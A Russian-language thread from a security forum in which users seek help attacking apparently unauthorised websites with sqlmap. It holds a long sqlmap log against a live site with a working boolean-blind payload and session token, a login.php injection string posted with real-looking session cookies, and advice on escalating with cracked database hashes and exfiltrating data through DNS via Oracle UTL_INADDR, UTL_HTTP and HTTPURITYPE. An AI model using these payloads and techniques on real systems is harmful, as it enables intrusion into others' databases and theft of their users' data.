ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Подскажите! через sqlmap получил sql inj под ограниченной учеткой, доступно только SELECT, сбрутил хэши других пользователей базы данных у которых больше прав, как мне в sqlmap подключится к другой учетке через sql inj?

никак, ищите интерфейс доступа к бд, phpmyadmin etc

лол с чего бы это интересно?

для успешной организации DNS-туннеля в Microsoft SQL Server, PostgreSQL и MySQL эти СУБД должны поддерживать пути в формате UNC, что, в общем-то, означает, что такой туннель можно создать, если на сервере в качестве бэкенда будет использоваться ОС Microsoft Windows.

ну не правда же есть нное количество способ сделать резолв домена, например oracle

UTL_INADDR.GET_HOST_ADDRESS

UTL_HTTP.REQUEST

HTTPURITYPE.GETCLOB

в postgresql, если не ошибаюсь, можно организовать подключение к удаленной бд "на лету", в текущем подключении, чем не dns exfiltration? пусть даже трафик исходящий зарезан на большинство портов, резолв всё равно в большинстве случаев пройдет

добрый подскажие как решить

Как только не пробовал и указывать --dbms=mysql | -b | -f

А в результате:

[CRITICAL] sqlmap was not able to fingerprint the back-end database management system

P.S>

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

.SpoilerTarget" type="button">Spoiler: sqlmap

[CODE]
___
__H__
___ ___[.]_____ ___ ___ {1.1.1.10#dev}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:48:05

[10:48:05] [INFO] parsing HTTP request from 'vsd.txt'
[10:48:05] [WARNING] provided value for parameter 'user_search_products[status]' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[10:48:05] [WARNING] provided value for parameter 'user_search_products[search_type]' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[10:48:05] [INFO] testing connection to the target URL
[10:48:06] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[10:48:08] [WARNING] reflective value(s) found and filtering out
[10:48:08] [INFO] testing if the target URL is stable
[10:48:09] [INFO] target URL is stable
[10:48:09] [INFO] testing if POST parameter 'user_search_products[from]' is dynamic
[10:48:10] [INFO] confirming that POST parameter 'user_search_products[from]' is dynamic
[10:48:10] [INFO] POST parameter 'user_search_products[from]' is dynamic
[10:48:11] [WARNING] heuristic (basic) test shows that POST parameter 'user_search_products[from]' might not be injectable
[10:48:11] [INFO] testing for SQL injection on POST parameter 'user_search_products[from]'
[10:48:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:48:26] [INFO] POST parameter 'user_search_products[from]' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="\u0421\u0430\u043d\u043a\u0442-\u041f\u0435\u0442\u0435\u0440\u0431\u0443\u0440\u 0433, \u0420\u043e\u0441\u0441\u0438\u044f - \u041c\u043e\u0441\u043a\u0432\u0430, \u0420\u043e\u0441\u0441\u0438\u044f")
[10:48:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:48:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:48:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[10:48:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:48:35] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[10:48:35] [INFO] testing 'MySQL inline queries'
[10:48:36] [INFO] testing 'PostgreSQL inline queries'
[10:48:36] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[10:48:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[10:48:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[10:48:38] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[10:48:38] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[10:48:39] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:48:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[10:48:40] [INFO] testing 'Oracle AND time-based blind'
[10:48:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:48:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:48:51] [INFO] checking if the injection point on POST parameter 'user_search_products[from]' is a false positive
POST parameter 'user_search_products[from]' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: user_search_products[from] (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user_search_products[from]=%D0%A1%D0%B0%D0%BD%D0%BA%D1%82-%D0%9F%D0%B5%D1%82%D0%B5%D1%80%D0%B1%D1%83%D1%80%D 0%B3, %D0%A0%D0%BE%D1%81%D1%81%D0%B8%D1%8F%' AND 5693=5693 AND '%'='&user_search_products[to]=%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B0, %D0%A0%D0%BE%D1%81%D1%81%D0%B8%D1%8F&user_search_p roducts[startDate]=2017-01-18&user_search_products[endDate]=2017-01-31&user_search_products[train]=train&user_search_products[car]=car&user_search_products[status]=&user_search_products[search_type]=&user_search_products[search]=1&user_search_products[_token]=51dfe11994f10d02f4d92c43fed3b00ef606f937
---
[10:49:00] [INFO] testing MySQL
[10:49:00] [WARNING] the back-end DBMS is not MySQL
[10:49:00] [INFO] testing Oracle
[10:49:01] [WARNING] the back-end DBMS is not Oracle
[10:49:01] [INFO] testing PostgreSQL
[10:49:01] [WARNING] the back-end DBMS is not PostgreSQL
[10:49:01] [INFO] testing Microsoft SQL Server
[10:49:02] [WARNING] the back-end DBMS is not Microsoft SQL Server
[10:49:02] [INFO] testing SQLite
[10:49:02] [WARNING] the back-end DBMS is not SQLite
[10:49:02] [INFO] testing Microsoft Access
[10:49:03] [WARNING] the back-end DBMS is not Microsoft Access
[10:49:03] [INFO] testing Firebird
[10:49:03] [WARNING] the back-end DBMS is not Firebird
[10:49:03] [INFO] testing SAP MaxDB
[10:49:04] [WARNING] the back-end DBMS is not SAP MaxDB
[10:49:04] [INFO] testing Sybase
[10:49:05] [WARNING] the back-end DBMS is not Sybase
[10:49:05] [INFO] testing IBM DB2
[10:49:05] [WARNING] the back-end DBMS is not IBM DB2
[10:49:05] [INFO] testing HSQLDB
[10:49:06] [WARNING] the back-end DBMS is not HSQLDB or version is

вообщем уязвимость в файле /login.php

Attack details

URL encoded POST input vb_login_username was set to -1' OR 3*2*1=6 AND 000491=000491 --

как такое заправить в sqlmap и получить бд?

POST /ajax/login.php HTTP/1.1

Content-Length: 193

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http:site.com:80/

Cookie: mfsid=91olg79e3nj5nt6de6ugq5oks7; mfvb_lastvisit=1485043348; msort=views; morder=az; mfvb_sessionhash=a5613f6c416d595ef35b6db03ad466a7; loc=E_E4m6IbF_VLlaDm7ph_BwfJ46y_JHz15zI7eP9Q9gdwwJ Or1usrLEth4LHDV1uyf0w6PWeToMTTYQJ0iyccmipr2OpL5jZf ; sess=1; anj=dTM7k!M4/8DYRWSF']wIg2E?ajgksu!@wnf]meq8dWME4(EW

мб waf?

[QUOTE="RWD"]
↑
вообщем уязвимость в файле /login.php
Attack details
URL encoded POST input
vb_login_username
was set to
-1' OR 3*2*1=6 AND 000491=000491 --
как такое заправить в sqlmap и получить бд?
POST /ajax/login.php HTTP/1.1
Content-Length: 193
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http:site.com:80/
Cookie: mfsid=91olg79e3nj5nt6de6ugq5oks7; mfvb_lastvisit=1485043348; msort=views; morder=az; mfvb_sessionhash=a5613f6c416d595ef35b6db03ad466a7; loc=E_E4m6IbF_VLlaDm7ph_BwfJ46y_JHz15zI7eP9Q9gdwwJ Or1usrLEth4LHDV1uyf0w6PWeToMTTYQJ0iyccmipr2OpL5jZf ; sess=1; anj=dTM7k!M4/8DYRWSF']wIg2E?ajgksu!@wnf]meq8dWME4(EW